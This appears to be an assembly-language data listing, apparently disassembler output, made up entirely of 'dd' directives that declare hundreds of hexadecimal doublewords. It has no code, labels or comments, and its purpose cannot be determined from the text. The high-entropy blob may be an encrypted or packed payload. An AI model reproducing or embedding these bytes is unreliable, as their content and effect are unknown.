		dd 0FA4FD4E7h, 2E68A538h, 69631A66h, 870845F1h,	0F212408h
		dd 6126188h, 2F0B4BABh,	0BF057398h, 0C5A4680Fh,	284D384h
		dd 0D265F7BAh, 6962C007h, 0C28123F5h, 282C37E9h, 6811B402h
		dd 0CE984CBCh, 8003D0B7h, 0FA88BFF7h, 89EAB35Bh, 0FB60E228h
		dd 0B45DA833h, 73E4FE20h, 0BCEC07E1h, 0A0E8B151h, 0D2E959CCh
		dd 81F2F55Bh, 4EEDA85Bh, 0E3D448A9h, 56522A03h,	0E2B85B3Ah
		dd 3B2D4175h, 0E0AAAE20h, 1406482h, 0BF1DA4D6h,	11271BD2h
		dd 0E82B48B0h, 3A050907h, 0E87EC683h, 0BBC4C31Eh, 98CF09F7h
		dd 0AF23C500h, 7CE93745h, 0CFB60658h, 96F3F5Dh,	5C095F04h
		dd 0E912D436h, 744480C9h, 64F803BFh, 0D7D2B0CBh, 800F537Fh
		dd 892E606Eh, 661340D7h, 0CFE0FB5Bh, 96B1A3h, 9577EE4Dh
		dd 594ACA31h, 0F33500ABh, 82A3049h, 0AD097390h,	25267D1Eh
		dd 814C57Bh, 34704CE8h,	30825180h, 0F4DE582Dh, 0E8EA59C6h
		dd 166AF02Ch, 0CEFE105Ah, 0B685974Ch, 7D80AE1Ah, 83EE3020h
		dd 19462410h, 0A8D7D66Fh, 51A1133Fh, 54E63F09h,	0A53165ECh
		dd 3FB01B9h, 4D5801F9h,	44E7DC80h, 0CD2108D4h, 23FA5962h
		dd 14D5230h, 0FFDDF9F8h, 7B5FFD01h, 0E90939CAh,	0A8C6EF8Eh
		dd 31BAB54Eh, 3F434E2Fh, 0A89023B3h, 8807245Eh,	2540A495h
		dd 68C31630h, 0D026E844h, 75F510A4h, 82D1875Bh,	48C5542Eh
		dd 0C257A73Dh, 137540Fh, 4A31B8F6h, 0A1BC2A8Ch,	76587B25h
		dd 8AE45BFh, 0DE26DF9Dh, 0A66D3B05h, 0D6FE3581h, 0EDC11705h
		dd 0EF8080C3h, 10D7288Fh, 2F0339E9h, 3E9F5059h,	0D8AC5A66h
		dd 138B16F3h, 259BF8F1h, 5539E0C6h, 740C0BBDh, 0C202CB9h
		dd 70736852h, 3E6CC7C4h, 2C24BEA2h, 6BB30A59h, 73E96EA8h
		dd 0B677D709h, 0F7989725h, 0B20682B4h, 3F27E912h, 8086C2ADh
		dd 687D2F26h, 0B7F929C7h, 410CCF81h, 0C85FFA14h, 4B0F3FAh
		dd 89857E22h, 3C38EDEh,	682871E9h, 1F7AA941h, 7169C76h
		dd 0C7AAD072h, 8725E3ADh, 13F74C5h, 9A510B2Dh, 0BCB16E33h
		dd 891A0704h, 0A055465Ch, 82163E52h, 1B20A702h,	24ECBFD6h
		dd 0C82B4EE1h, 6E0AAB88h, 0FFD58963h, 80CA022Fh, 0F1A860E1h
		dd 0D1F63C26h, 2838C109h, 0E605988Eh, 99DA0B58h, 2C40471h
		dd 13508BBBh, 2CEF2F12h, 94B51E7h, 853FCEA2h, 84545814h
		dd 0C0F4104h, 4E1E55Eh,	17A18408h, 7ACFC014h, 810365ECh
		dd 20829CAh, 5ADC066Dh,	3CD00DF0h, 0FE12B003h, 40D70150h
		dd 9D5A085Ch, 78E8E261h, 77433D53h, 939A91F6h, 0CDB91BF6h
		dd 28DD00BCh, 29E92131h, 903EE301h, 1D6372D3h, 0F5A2F1F4h
		dd 0E6A5080Eh, 0AE7B583Ah, 73711669h, 0DE4BE2B6h, 34E9052Eh
		dd 937DECFFh, 0BD0521FEh
		dd 0D5C5687Dh, 0F6020B58h, 0E06B04DCh, 0E7E99A02h, 76277976h
		dd 15DD22Dh, 197A071Ah,	0C061FE6Ch, 0E0984918h,	5948CB09h
		dd 211E2E67h, 30EE2613h, 2E7284DBh, 0D42614B5h,	0A1102C90h
		dd 0A3875B8Ah, 0CBA5FDC7h, 8059F0D0h, 0E534CEEDh, 661800B2h
		dd 17CEE958h, 7FB820C7h, 48307380h, 0F31CEC05h,	352AC17Bh
		dd 79ABC84Ch, 5C839FA0h, 16B0EC76h, 0B2475E4Ah,	1E94D2F7h
		dd 5251A9D0h, 0F7F6F8B2h, 0E6350A70h, 0C0B128C2h, 9112CBB4h
		dd 76A7837Dh, 0BA32020Fh, 5A186C7Bh, 192702D5h,	0E658FC0Dh
		dd 6D0E8057h, 0CB0E992Fh, 23A7775Fh, 29556012h,	24CF58C7h
		dd 37C18522h, 0E9FFBD01h, 0B27AF38Fh, 0ABF08F23h, 296EE0ACh
		dd 9E05EEEBh, 97BD1247h, 0CE45A22Dh, 67BB4549h,	0C3407CD8h
		dd 70029558h, 0DBF6EE09h, 0CCB9F383h, 1DE41747h, 8DD1D095h
		dd 2C48F713h, 2EE23451h, 0C884AF97h, 0A52038A1h, 355C524Fh
		dd 295DC516h, 63812E25h, 0AF04DF14h, 0D35DC660h, 57C3A0E0h
		dd 20C0BBFh, 13F82D7Fh,	18C70417h, 4DE62CAEh, 0E16A8541h
		dd 0BC2841E6h, 0F679809Ah, 187DF960h, 0EDF05E89h, 90E982D9h
		dd 54BF0010h, 25B8EF4Eh, 0EA19C722h, 0EA38B08Fh, 688D15CFh
		dd 0E90DA453h, 21241058h, 81CCB5F5h, 169717B9h,	4D9BAE59h
		dd 680A9D4Ch, 0A01052FBh, 58F121A4h, 114BB980h,	35E9432Bh
		dd 807A0E9Bh, 367C6C78h, 265C6F4h, 22EA3C81h, 206823EFh
		dd 10594868h, 2F6F841Ah, 14356601h, 0EB81D03Eh,	9B257D3Ch
		dd 9C10C329h, 575BE903h, 0BFB3AF84h, 0D2CBF996h, 635F52E3h
		dd 0D80150F3h, 37904ACBh, 0A68D15Bh, 87B48B04h,	0EA0EBEE8h
		dd 0BE9A331h, 0F9344C83h, 0A49ABCD7h, 0F5FAD504h, 6E698DFAh
		dd 6410E3A2h, 9BB905DBh, 16EC2A03h, 82403904h, 0F2B4C375h
		dd 294D0CD8h, 81688B7h,	86FD963Eh, 0B55E77FFh, 0B255F030h
		dd 37A4B55Eh, 4997B8C3h, 0F35F9FD6h, 5DF804A0h,	0E920022Dh
		dd 0D192ADE3h, 3EBD21B6h, 553A66F6h, 7C800F9Eh,	62861CB1h
		dd 3EDE53ECh, 0D05F2A17h, 885047C3h, 10C393C8h,	2DEAE56h
		dd 0B855FDBEh, 0D5C1DD6Ah, 81A74501h, 6EDADFCBh, 675FECDh
		dd 60FF36Eh, 5B68D5F7h,	0B6E91211h, 2E386h, 76673469h
		dd 799C3558h, 307B9077h, 0EB4BCB3Dh, 2B3D157Bh,	0E8AB985Ch
		dd 1818C517h, 6C73BB36h, 17250FFBh, 1DBD7B3Fh, 38361668h
		dd 0FD4084EEh, 1EA0083h, 42CCF281h, 214C159Ah, 355210B4h
		dd 404AC140h, 565053EAh, 483F19Fh, 54524034h, 3EB0BB55h
		dd 152258CEh, 5EE93204h, 0AC35AF2Eh, 9D211CA5h,	0C25B9A12h
		dd 780EC00Fh, 38B1B02h,	1715124Ah, 58CC05F2h, 31284F81h
		dd 0E76F5121h, 0DE466AF2h, 237703D6h, 0D8A83435h, 1726BB83h
		dd 5D17C289h, 3BF664Bh,	0D1A8AC74h, 0B73B49BAh,	0D197729Ah
		dd 0D9F108B0h, 5CFC681Ah, 154C6201h, 0E33CFFD8h, 0A7862A03h
		dd 5BDE2917h, 88C990ECh, 0B70BE2D0h, 8251664Fh,	0EDD9162h
		dd 16F8DEDFh, 5B2F4125h, 2431A368h, 164F4A13h, 0DDB2A7F8h
		dd 0B2DBE930h, 0A92AFDB7h, 10649255h, 0ACD417ABh, 0CCE9E0A4h
		dd 8173946Dh, 63274FF6h, 0F6E26A2Bh, 7BAE1660h,	5649D1A8h
		dd 3C8501C2h, 55802B8h,	1EAA0645h, 86509622h, 83A41CF4h
		dd 21222D05h, 4BC52A3h,	0B7DA0B7Dh, 2DD1A13h, 715E552Dh
		dd 8521179Ch, 513AF4F8h, 2502B13Eh, 255660E1h, 0F2E002Ah
		dd 6B950522h, 35022C98h, 2608AA83h, 64C07D29h, 12838676h
		dd 8C8DF50Ch, 3F62B118h, 0B27F1FFh, 6F08747Eh, 1FDC6B34h
		dd 0B416755Ah, 0C522D997h, 1C805523h, 8A54511Eh, 93EC9F33h
		dd 0C74B07B7h, 0B867B45Fh, 0E9B94BB5h, 4BD8B310h, 0A12073B1h
		dd 0AC264EC6h, 0FD59125Dh, 597C92F2h, 198F6623h, 0C13D5101h
		dd 0B7017BE1h, 5A805345h, 823470h, 31DC26F2h, 0CCA7E9D1h
		dd 56EB3CD6h, 680C009Ah, 76D53685h, 0DD60E912h,	3B302DAEh
		dd 0F9921EF9h, 81601065h, 6D17B85Eh, 0CAC96A0Dh, 0AB5E446Eh
		dd 895892C0h, 0A5A33560h, 304462B9h, 0F21B8C81h, 0ACC4DC38h
		dd 1FE1251h, 54DFF791h,	3C77F11Eh, 8DE94BE0h, 0F94649DFh
		dd 1F556A0h, 6F2589D3h,	3526F031h, 0EA8977B3h, 812A49Ah
		dd 925D522h, 0A9FFCDAFh, 69BF54E3h, 9D6162A2h, 0D7D63560h
		dd 74C275C9h, 0BE019DDBh, 0FDDE1896h, 207F1343h, 0B10C49h
		dd 0F9888405h, 0C180245Bh, 0F5F30813h, 2482BB01h, 0EBF003CEh
		dd 0F407B008h, 735A351Dh, 89080912h, 5177CEE2h,	33CE52C5h
		dd 4D62DB82h, 0F098C65Fh, 0BD69B5DCh, 8D25D7h, 0CDB050BDh
		dd 3AD8848h, 0F180D9F6h, 10C99990h, 1DE1118Ch, 0C8E07C16h
		dd 0D8285900h, 5230B551h, 0F6F012B6h, 0F4C3BFD6h, 23EE989Bh
		dd 5AF50920h, 0E1E115E9h, 0F9566A5Eh, 340BC608h, 0E262EACCh
		dd 207F645Ah, 8E989644h, 7C938820h, 0AF380035h,	0EADD2D74h
		dd 0FE951878h, 0E1921319h, 18F86B9Fh, 7D16CB3Dh, 71F3411Dh
		dd 0E872EE23h, 0FCBCDCD2h, 0ACB49665h, 2D61E2C2h, 5D63292Bh
		dd 0FE092FAAh, 209200D2h, 0D987D59Eh, 47167495h, 16E98731h
		dd 0E0977F8Eh, 9041599Eh, 0F8EC83D4h, 48F2786Ah, 394DD7Ah
		dd 0E230E501h, 3059CE01h, 3D1E99E8h, 0FE5E6F9Fh, 6008EE14h
		dd 26650D0Ch, 5BE91A45h, 0C5D56897h, 0B95180C1h, 62150F53h
		dd 0DA2EE490h, 9C34A85Ah, 0B5016EA0h, 0C49D824Ch, 0D79927F2h
		dd 0E82F317Dh, 1FBE5C08h, 0DFE57742h, 4B189066h, 0D7CE3D1h
		dd 4AB0241Ah, 14D102Fh,	3BBB850h, 0C62B789Bh, 8760617h
		dd 0ECB0E076h, 0B5A2D06h, 2E8C7D7h, 469E480Ah, 461C629h
		dd 1A6BA466h, 1A5EB512h, 38C4BB96h, 5B27D2C8h, 921A9DA0h
		dd 2021503Eh, 4532F210h, 0F1E5809Dh, 0F77AB277h, 0BB53DD00h
		dd 82509A57h, 20E3BF31h, 0BAEC90F4h, 181E0710h,	0CEC94232h
		dd 7DE120EDh, 0C03CE01Fh, 7162483Ch, 0E33C814Bh, 0D658AD55h
		dd 2A020456h, 0CC80EADFh, 9DA3706Dh, 2201567Eh,	31999DF1h
		dd 0DE01B06Eh, 7D5C22B0h, 203C8B5Dh, 0A70C4C8h,	0F8739008h
		dd 492D6DCh, 812048E2h,	22E190Ah, 9348D75Dh, 2C3C54ABh
		dd 0C207F777h, 0F92A5BCEh, 0B39DD3F4h, 0E902307Bh, 0BABFE63Ah
		dd 64A9412Eh, 0A27FB565h, 7729A205h, 84642679h,	0BB0617FCh
		dd 2A1663F1h, 485BD80Fh, 50EAEB56h, 62B30ED9h, 14D9EB80h
		dd 9274262Eh, 1E25DBF2h, 62F1E30Bh, 0A01E4272h,	204C2DD3h
		dd 0F45750Ch, 21476D55h, 632A7B41h, 0A09CA818h,	834B9A13h
		dd 0DFB89000h, 7BD201h,	5F617835h, 45550D5Bh, 8D71142Eh
		dd 65E481BEh, 0DEE9338Bh, 6A45F13Fh, 0BCB4B3F8h, 202B89B7h
		dd 0FC68596Ah, 66B09752h, 0C09F0649h, 0E6530939h, 0B7CEE836h
		dd 5A998DB8h, 31278700h, 0E6D158C6h, 13672F68h,	34C0715Eh
		dd 973BC747h, 0B0E54840h, 0C80F8982h, 0E4FA317Ch, 3171FFD7h
		dd 0A6A7636Ch, 0F32C5589h, 61E515Eh, 32F18AD7h,	0C400BD3Fh
		dd 530CD43Fh, 2FB95C52h, 1C078F02h, 70E35712h, 38CC7F1h
		dd 798E1266h, 0EAED0474h, 9CA0BF05h, 2D0D7F54h,	1956FA01h
		dd 3E47F32Fh, 5AD6298Dh, 0AE9D022h, 0B3A61775h,	43896813h
		dd 0B63DB4F3h, 0FC70B396h, 0BCE72AC8h, 0B73FAB7h, 26AD3643h
		dd 19917582h, 575ADF54h, 0E2275BD3h, 17FBF363h,	38AEDF8h
		dd 48AA69F1h, 52C3B0D4h, 2D4E091Bh, 2878CB01h, 5591101Ah
		dd 0A405D8Eh, 2025D4ABh, 0B75DC7Dh, 0A0D1E441h,	5D561397h
		dd 0E95B92E9h, 0DF59A77Fh
		dd 39B14517h, 3FDC86BDh, 0E5C11875h, 6CE2A04h, 0C18C530h
		dd 602D418Eh, 998B63Bh,	67E476E9h, 0DF4C906Bh, 4EA23981h
		dd 6EF0FAB5h, 5857704Dh, 28077484h, 96045BF8h, 55F0D4D4h
		dd 0A4FFB358h, 68125632h, 68AF330Eh, 65648D0Ch,	42825F0Ah
		dd 0DF124481h, 0D3F1CC60h, 50035312h, 0AC7EE868h, 7AF5E20Fh
		dd 0EC09E5Eh, 0AB1299F9h, 3C00F98Fh, 17CFC14h, 7A12DF0h
		dd 8153415Eh, 0C11961F2h, 4F702B4Dh, 0A87B6F68h, 581B861h
		dd 0E92D5F4Ch, 5B75D1A6h, 19472931h, 70D845FFh,	0FFE38404h
		dd 0FFC949E2h, 0E9D8A974h, 0BC629FDAh, 8839E575h, 0F725D268h
		dd 0C97B6480h, 0F0A1892Ah, 26EC05E1h, 7C69E507h, 7EE339C3h
		dd 12265AAh, 995709CAh,	0EBF0CF1Ch, 0DD0FC93Eh,	44800089h
		dd 0CA8113A8h, 6259D313h, 9A6307EEh, 82B52504h,	259A58DDh
		dd 838281DEh, 80012B71h, 0B043E908h, 0F4C0B037h, 5E782764h
		dd 80B7D56h, 8E7CA5Bh, 293C1117h, 10341F6Ch, 0C8AA2F24h
		dd 694968B7h, 0E15F8A53h, 7D2B1842h, 629709B4h,	0A5945DCDh
		dd 1A36E917h, 20AE27BBh, 22623A1Dh, 2820EEB0h, 9F769DD4h
		dd 8D305F02h, 282450EAh, 0C0CFF987h, 0A7BD5508h, 2C274E38h
		dd 6DB37F29h, 29E115C1h, 0C8B87F86h, 0EBE99B4Ah, 105005DFh
		dd 508BCA01h, 34181309h, 290F51FFh, 283E105Dh, 97C6801h
		dd 0E200AD21h, 0E921387Ch, 9685B7AAh, 366C3ADh,	0EE5B6072h
		dd 1D8CFED1h, 5A66B802h, 558C21Fh, 0DBE7500h, 3A54592Dh
		dd 0F8841A80h, 0EF49324Dh, 75071D10h, 454111A2h, 3C65D0B5h
		dd 0ECC3E910h, 6A685805h, 0C8A7987Bh, 783D3F18h, 42A5E32h
		dd 62E9616Bh, 0A6680287h, 0A418AF08h, 77ACFBA9h, 1655069Ah
		dd 17E913DFh, 92BCA803h, 585A4F06h, 67942055h, 0F94A2498h
		dd 8314C1F2h, 771AD3EBh, 580B1E7h, 15FCF9EEh, 119CB2F8h
		dd 132DBF00h, 0B0524684h, 744A4E40h, 407185D1h,	68D831DCh
		dd 859E7112h, 21C62h, 0C61E954h, 9520CC9Fh, 0CF3105E2h
		dd 333234BEh, 88144CBFh, 13300580h, 1D50F236h, 527C05F5h
		dd 86F08267h, 0FC2C64E8h, 51F2C2E0h, 0DE9D4670h, 6856F06Ch
		dd 8C442D5Ah, 921A78BAh, 5098F9C3h, 0AAA2DC2Bh,	0B8F0BE1Ch
		dd 501A399Dh, 806D2970h, 0FE788858h, 0F4477527h, 0DD0B538Bh
		dd 0F5FB685Ah, 2A12E1ADh, 0BDD2DDCBh, 2F298860h, 0CF403BF0h
		dd 229B00B8h, 30BE5A49h, 4F5D8765h, 558925D2h, 0E567A80h
		dd 53A410Ch, 6AA28069h,	0DFD5182Dh, 2475B495h, 965F25A2h
		dd 13B3933Eh, 1687E959h, 77A8A163h, 0F2B7E8B3h,	0B9000C6Ah
		dd 13F26F5Eh, 0BC8295Dh, 1DF45475h, 783A7E27h, 0C29FFBE9h
		dd 0C8E855B9h, 4CB94642h, 206EDAA7h, 0BE01A703h, 0D0A36834h
		dd 6328CE29h, 0E98F3830h, 469509CAh, 0F9681AD7h, 6AD71D5Fh
		dd 0C6A8C02Fh, 0D2594DA5h, 7B6BEE27h, 78E95212h, 942739ADh
		dd 69C5F6h, 0BA340B50h,	1AD0B73Ch, 5641AE0Bh, 620DF1Ch
		dd 7FD3565h, 15690CC0h,	4FE96867h, 1541EBC6h, 0D39EBBB4h
		dd 4A03A83Eh, 0A6BD8101h, 4DE11973h, 6AE9F17Fh,	840EDDF2h
		dd 0E9C20CB9h, 47E809Bh, 0ADA55767h, 80A5F8A8h,	0A266F7F6h
		dd 0E9233B04h, 2DFCC30Fh, 5F7D34C1h, 829A3048h,	0E70BFBA4h
		dd 0AC737F43h, 179BE10Fh, 1D86F08Eh, 0AF07265Bh, 0FE16F0DEh
		dd 0DFFA5C24h, 898B272Bh, 2BB5FE00h, 0C85317A9h, 0CE41D02Eh
		dd 104DCA6Ah, 2650D63Ah, 604B6EAh, 2121C668h, 0EB264929h
		dd 22DAC501h, 0DDF038BFh, 83159E8Bh, 37832997h,	4D2B60D9h
		dd 0D6DA20E9h, 55CD0614h, 45B6049Ah, 0D6BC1CEFh, 0FAD85078h
		dd 3D5B1878h, 6B94600Eh, 78C84EEAh, 93BB011Fh, 0E873206Eh
		dd 94950627h, 973198AEh, 0B0C5A54Ah, 3FF90D81h,	77300FE8h
		dd 0C541C9C7h, 13A83DDCh, 6806ECB4h, 20F70B20h,	5A5EFC45h
		dd 0A312FAECh, 0C43AAC0Fh, 0EE16E82Dh, 4A78F12h, 5EB9494Eh
		dd 9E5FFDA9h, 0CD8A201Dh, 0EE207E90h, 0AEAD4A45h, 0F0B79531h
		dd 9AD0EA04h, 4FF57BD7h, 7156EA20h, 8CAA21Fh, 0F80B9270h
		dd 13657912h, 21D50758h, 5E646E5Ah, 43D0EA09h, 25A4FE7Dh
		dd 31D731B3h, 0C43EC5C5h, 60DA9CDBh, 0B424AF4Ah, 515A88AFh
		dd 0EA9D07FCh, 266581CBh, 0C53A7425h, 0B7CFBE8Dh, 0A1AFE912h
		dd 0CD3E9739h, 0A2E932AFh, 68169FF8h, 344E2Eh, 1CB98C61h
		dd 88AD2D6Bh, 25FF69ADh, 4D24E4DCh, 31EAF417h, 429AA5Ch
		dd 1605BB08h, 850EE95Ah, 8CABFF89h, 0AA640DC1h,	83BBE66Fh
		dd 0E7D92D2Fh, 65617ED9h, 526C4B88h, 0A8CC6CDCh, 0F3618C09h
		dd 5977D215h, 40EDA860h, 61A4519Fh, 8EE29CE9h, 6ADF585h
		dd 580C2DFAh, 37280294h, 0FE2302EBh, 0D501F8C4h, 5DEA0960h
		dd 0CBD58B4Ah, 550B66ADh, 0E7E2A7E9h, 2FCE6B61h, 66B2C8Bh
		dd 8B37CD5Dh, 0C39217BCh, 0EDCE71DDh, 0F15240FAh, 617F151Eh
		dd 0DD5EB37h, 39E9D8F1h, 252257CAh, 155428B1h, 5C570316h
		dd 995046ABh, 350E260Eh, 323F48D8h, 0D5F03FBh, 3AB05DDEh
		dd 0F218802Dh, 21A0198h, 42D04CF7h, 0D1152200h,	102C2D29h
		dd 5547801h, 5F8F5D46h,	442842Fh, 0D082E907h, 31D0297Dh
		dd 0ECE9C272h, 16CF7F19h, 56EB815Fh, 2BFCA3BEh,	49F3FC0Eh
		dd 803F22B3h, 0C39ABC39h, 0ED4006B0h, 2BE1CB12h, 7ADFBDFDh
		dd 0BD025569h, 81036771h, 0B370D8C1h, 0CA09316Bh, 440721Ch
		dd 930B73B9h, 0EE770111h, 0AD2FF5D5h, 0B4E9850Ah, 0C780CF90h
		dd 0EFC01801h, 88530C02h, 0BCFDFD5Ah, 427C587h,	890399EAh
		dd 0FEB27980h, 4B256F2Dh, 0E00FE8EAh, 2468F829h, 64833055h
		dd 0BE44EA50h, 3E865F7h, 66670192h, 7FB26D02h, 58C179F0h
		dd 0A10C5EAh, 0D4E95A0Ch, 0B441FC12h, 1763CC1Ah, 9929CBD3h
		dd 0BC448CF3h, 342900E8h, 0A5DD1C95h, 0BBE29013h, 88A9B906h
		dd 581D20B5h, 3C690D4Ch, 0F98830F9h, 0A84DBF7Ah, 357D005Bh
		dd 45926CBDh, 0D613B9EAh, 12FFAE8Dh, 5FA6B868h,	5D1D5F9Ah
		dd 41A8D6E9h, 6A16F76Ah, 71C52017h, 64FEDC4Bh, 91A2BAD9h
		dd 8C251994h, 0E42D3364h, 4BF714C6h, 18D2BD99h,	3415156Eh
		dd 0DED082D2h, 254D91F0h, 8BCB2CF1h, 0B07F5F10h, 9C2D3E0Eh
		dd 9C215519h, 4F886C1Eh, 8C814D35h, 0B32C9602h,	59020196h
		dd 3B6FCC4Ch, 0CC58C6D3h, 0F8C161BFh, 878C4D4Dh, 84F3134h
		dd 4BBE2D21h, 5C887AC5h, 5D049DA3h, 0F4AA895Ah,	0F340FAD2h
		dd 0BEA0681h, 0C3D503Ch, 66729309h, 0AB7C1Ch, 52E86A88h
		dd 574AFD68h, 13AEC3CCh, 0BF219113h, 59584Bh, 4FB6AF58h
		dd 0B4CCB8CDh, 5BEBE0D1h, 0AD9230ABh, 890EAE6h,	7A680340h
		dd 2A662750h, 21420571h, 3D782C5h, 4740A001h, 0E078D7Fh
		dd 0F181D9F7h, 0F0DE36CFh, 4C57A786h, 0F7E97575h, 0EFBEE609h
		dd 0E6368F4Fh, 14FE64h,	0B8461425h, 0CF402D5Ah,	0A7F6CC3Fh
		dd 0FD8609A6h, 1EAD920h, 2A4A808Ah, 501304F9h, 3039EFFCh
		dd 7D3FD82Ah, 3E4B6241h, 50AC5Bh, 7E7C7D98h, 0B572D5E9h
		dd 0E2277D9Bh, 4E1FD88Fh, 3F0EC9C9h, 2DD232E2h,	0E95E8A1Bh
		dd 57A5F026h, 2815C281h, 64FA20F0h, 1A9C3241h, 8ED9D85Eh
		dd 0DA320CF2h, 0A7BC2A18h, 0F1898ECAh, 0FF7B8CC7h, 534FC01Bh
		dd 0B951FC60h, 0BB600F06h, 0FE9E948h, 5975691Ah, 0FF90E26Ah
		dd 75120409h, 265B36AAh, 39133E0Bh, 3AC97574h, 0B42480AEh
		dd 60EC8088h, 9BB23E52h, 0BACC3092h, 73F5712Dh,	803BCA38h
		dd 0B6521D74h, 0D0F68A25h
		dd 0D98B3B94h, 0FDD851B0h, 99E0C026h, 0DC8D991Bh, 3E7EF3ACh
		dd 9E159004h, 0E81680F6h, 0B241FC76h, 0AA4BE758h, 2F98BEFFh
		dd 68F9B674h, 59DA093Fh, 696F2251h, 0D5E82BB7h,	55FB8383h
		dd 0EDEE2F40h, 0DA8D0D41h, 20D6206Eh, 0B9C42E8Ah, 85B86AB7h
		dd 0BE42C2C4h, 125FC8Ah, 50270414h, 58D9015Eh, 0B037C821h
		dd 0C665E90Ch, 4D09BA7Bh, 5DC97509h, 9DE31620h,	0A09DF26h
		dd 0B1199168h, 95F48424h, 0CD9F9808h, 2AE19C48h, 0B4F419ACh
		dd 8E405DF2h, 3A3A041h,	86D43BEBh, 61BAC500h, 0CD010213h
		dd 88096B8h, 0BADCCEE9h, 148FC6Dh, 3CDD7716h, 9A58F02Dh
		dd 0C3161B5Ah, 0C529F844h, 1E486B80h, 0E9210B43h, 165DE29Bh
		dd 2CCBC00Ah, 0C122B715h, 5605E925h, 0EBCB3014h, 0E83E311Fh
		dd 5A28A72Ch, 18DDF1BCh, 5F30852Ch, 9217A9A8h, 0DF0F48B8h
		dd 8059575Bh, 77E9C809h, 2ACA9F56h, 60323456h, 4EEA202Ch
		dd 20694518h, 7ACB020Ch, 83F746Eh, 660B020Dh, 85937B58h
		dd 0C35312F2h, 4B2459D3h, 0EF04B7C2h, 8DAA29B7h, 0BE1B605Bh
		dd 4B56C69Fh, 531A5EBFh, 246AECFBh, 58809CB3h, 0EA280DB2h
		dd 98043859h, 566D016h,	4141A123h, 0C09DB323h, 0EB8C80E3h
		dd 0D8885038h, 98DD25E9h, 4490C59h, 35BAA66Ah, 0E94D569Eh
		dd 20D4D4D0h, 55507647h, 0B280B152h, 0E5F85B1Dh, 0AAA1FE29h
		dd 59F63EBBh, 1BFB6809h, 0F83F1866h, 173F247Dh,	149201Ch
		dd 5C0C0B10h, 1E520E21h, 0DBE93401h, 0E5B38162h, 457E3BDFh
		dd 142A4520h, 0FF025549h, 97605D2Dh, 41B6B28Fh,	2A0F02C9h
		dd 0D2BF019Fh, 0C14DD80Eh, 0F705EF09h, 60165D7h, 73291AE9h
		dd 2798F501h, 4D4507A9h, 27AEF3Ch, 0AD93B9A7h, 0DCE4E931h
		dd 7B2D9233h, 13035FFFh, 258BBBD9h, 5964BB4Eh, 58B631AEh
		dd 297DC876h, 80204EDh,	90FE1DE9h, 9C3F5BD8h, 0F65D459Fh
		dd 0CD9C1902h, 4320E073h, 60AF41C4h, 0E89A39AAh, 0D595E9B5h
		dd 6C787CE9h, 30B7B607h, 8F426E6h, 86C441BDh, 0EE17C52Ch
		dd 0F6EAB49Bh, 0E59DA74Bh, 37FCF2ADh, 0C3797FDAh, 6179EB62h
		dd 0C73F08A7h, 7E42894Dh, 0D37F464Ah, 9FE9C2B3h, 0D12D13D8h
		dd 31359E1h, 6720FCCFh,	1DB41C1h, 0D322DE28h, 6BAEE86h
		dd 0E9EC6070h, 8FBCA124h, 7DBF650h, 0D002EBC0h,	0BED375E3h
		dd 5DE4197h, 28EE5BDDh,	1F5E998Bh, 9810D3E3h, 1B405C4h
		dd 7BBE128h, 0E2FFC1DCh, 0FC09F312h, 0C84F0CB0h, 823DB70Eh
		dd 51BA1680h, 147390Bh,	0E6C07AADh, 4088B730h, 0F24801D2h
		dd 456A031Bh, 0F75E4B0Eh, 0BB0B5669h, 816DFC77h, 3BA0595Bh
		dd 0F11CE3B6h, 98FF2D6Fh, 0A5695A03h, 3A7525F1h, 9D709699h
		dd 0EB9E45F9h, 6CA14984h, 0CF911A81h, 83D0EB83h, 76D101C0h
		dd 0A0A32BE1h, 0A0B4899Fh, 0C99F9CF7h, 98FF0B4Eh, 7111645Ch
		dd 0E4585A3Dh, 876070D3h, 311BC221h, 0E0024B73h, 5B12CD03h
		dd 0DF0D3B16h, 913A2411h, 2F872F60h, 4035828Ch,	2E0B0DA4h
		dd 51545672h, 4D2D014Fh, 30838F20h, 0C080DBABh,	0F60426E8h
		dd 6CBB0BB5h, 17D7D49Ah, 15D286Dh, 81952B7h, 2A1C685Ah
		dd 0BC2A68F5h, 0E8E9B088h, 5DAAAA01h, 941ACD21h, 0F5BC2E1Dh
		dd 1EFFF200h, 0D5011B60h, 56CA1081h, 0CD29C17Eh, 0D21F2859h
		dd 0D100DC53h, 408C72B3h, 3D120E9h, 5F3EB625h, 3A85750Ah
		dd 4197B55Bh, 2335DA1Bh, 45683906h, 9B15D7F4h, 249F11B3h
		dd 0A00F2B53h, 8172406Dh, 2E5BB4EEh, 30C3032Bh,	0E0EC7A10h
		dd 0C804C4Eh, 312F42BEh, 0E61C92C6h, 29F1DF66h,	0A944DEh
		dd 352D5B08h, 287E0609h, 705F028h, 0ACAC35A5h, 0EA35F302h
		dd 0ED99803Ah, 20306E64h, 0A025D029h, 6B52F6ECh, 0E6696A5h
		dd 0D59941D1h, 0C2C640B0h, 1E59C7E9h, 9AE93A7h,	8EDE8610h
		dd 5F45C19Eh, 87EE5AEBh, 0D5018B32h, 7F1AFA68h,	22F9198h
		dd 0BE0D8737h, 0CF82406Eh, 0B7E1D629h, 48CF233Ch, 0C24827F2h
		dd 0D7965F66h, 2FCED15Dh, 0C652D950h, 60B579C3h, 0A1C6809Fh
		dd 0FE88F3DCh, 622767BCh, 4BBB7522h, 1362EBDCh,	3207E056h
		dd 5BC82C5Fh, 0E94702B1h, 0A60E3394h, 988AC265h, 3B957E0Dh
		dd 0F31928ABh, 92E00C75h, 1684D8A2h, 0EB683423h, 0A4451377h
		dd 1273B642h, 74BBC23Ah, 5471BA30h, 0E00551BFh,	9694EBEEh
		dd 0D0251FACh, 6D2C5h, 74CEBD12h, 0E97D23A1h, 7FECFB5Ah
		dd 7F1B6E80h, 0D005821h, 22D204DDh, 2D25A805h, 9E7812C0h
		dd 171BC680h, 9EE68880h, 4214920Bh, 6DD368E6h, 812D854Ch
		dd 2BEE49C9h, 9676CDDAh, 0D2B9BCFCh, 51986740h,	0E05296Ah
		dd 69EB4857h, 0DD1607A1h, 7B3C6C45h, 370BA2FCh,	8E8972F4h
		dd 5DEB60B1h, 60B7E94Bh, 0AAF171C3h, 636EC248h,	6740B7F6h
		dd 519C9F0Bh, 27D97C89h, 0EC903DF0h, 0E88B8CFCh, 5F4354ECh
		dd 0C196C232h, 2C1C088Ch, 4ADC2B19h, 893F6B0Ah,	17FAA46Dh
		dd 33EF6A7h, 63657EFEh,	902E7D8h, 58068026h, 5D25A310h
		dd 0A92A7A8Ch, 6856FC13h, 0EA5CCAB8h, 43B8E90Ch, 587E542Ah
		dd 86F36C5Ah, 32DEB40h,	810ABE20h, 0D5B29EDh, 12F3ABCh
